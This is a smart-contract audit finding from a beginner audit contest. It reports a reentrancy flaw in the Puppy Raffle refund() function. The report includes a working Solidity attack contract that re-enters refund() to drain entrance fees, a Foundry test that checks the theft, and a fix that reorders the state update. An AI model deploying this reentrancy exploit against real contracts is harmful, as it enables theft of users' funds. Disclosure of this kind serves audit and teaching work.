First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Refund() function is susceptible to Reentrancy

sandman

Summary

This Proof of Concept (PoC) demonstrates a potential reentrancy vulnerability in the PuppyRaffle::refund() smart contract, which can allow an attacker to manipulate the contract's state and potentially exploit it to withdraw funds that should be reserved for the winners of the raffle. The PoC uses an Attack contract to exploit this vulnerability.

Vulnerability Details

The vulnerability arises from the combination of two functions in the PuppyRaffle contract: refund(uint256 playerIndex) and enterRaffle(address[] memory newPlayers). The specific issue lies in the order of operations in the refund function, where funds are sent back to the caller before modifying the players array, allowing a potential reentrancy attack.

Attack Contract

interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
​
function getActivePlayerIndex(
address player
) external view returns (uint256);
​
function refund(uint256 playerIndex) external;
}
​
contract Attack {
address owner;
IPuppyRaffle puppy;
​
constructor(address _victim) {
owner = msg.sender;
puppy = IPuppyRaffle(_victim);
}
​
fallback() external payable {
if (msg.sender == address(puppy)) {
uint256 index = puppy.getActivePlayerIndex(address(this));
​
puppy.refund(index);
// owner.call{value: address(this).balance};
}
}
​
receive() external payable {}
​
function attack(uint256 valueSend) external payable {
require(msg.sender == owner, "Lol nice try kid");
address[] memory players = new address[](1);
players[0] = address(this);
puppy.enterRaffle{value: valueSend}(players);
​
uint256 index = puppy.getActivePlayerIndex(address(this));
​
puppy.refund(index);
}
}
​

Test in Foundry:

function testReentrancy() public {
address(attack).call{value: 1 ether};
uint256 prebalance = address(attack).balance;
address[] memory players = new address[](3);
​
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
assertEq(puppyRaffle.players(2), address(3));
attack.attack{value: entranceFee}(entranceFee);
require(address(attack).balance > prebalance, "Didn't steal Fee");
// console.log(entranceFee * players.length);
}

Impact

The impact of this vulnerability can be significant. An attacker can repeatedly enter the raffle using the enterRaffle function of the Attack contract, thereby increasing the number of times they appear in the players array. Subsequently, they can invoke the refund function from the Attack contract, resulting in the attacker receiving a refund for each entry, effectively causing a loss of funds that should be reserved for legitimate raffle participants.

Tools Used

VsCode
Slither
Foundry

Recommendations

To mitigate this reentrancy vulnerability, it is recommended to adjust the order of operations within the refund function in the PuppyRaffle contract. Funds should only be sent back to the caller after the modification of the players array to prevent the reentrancy attack.

players[playerIndex] = address(0); // Move this line before sending funds. There issue with this. Check another Report
​
payable(msg.sender).sendValue(entranceFee); // Send funds to the player
​
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!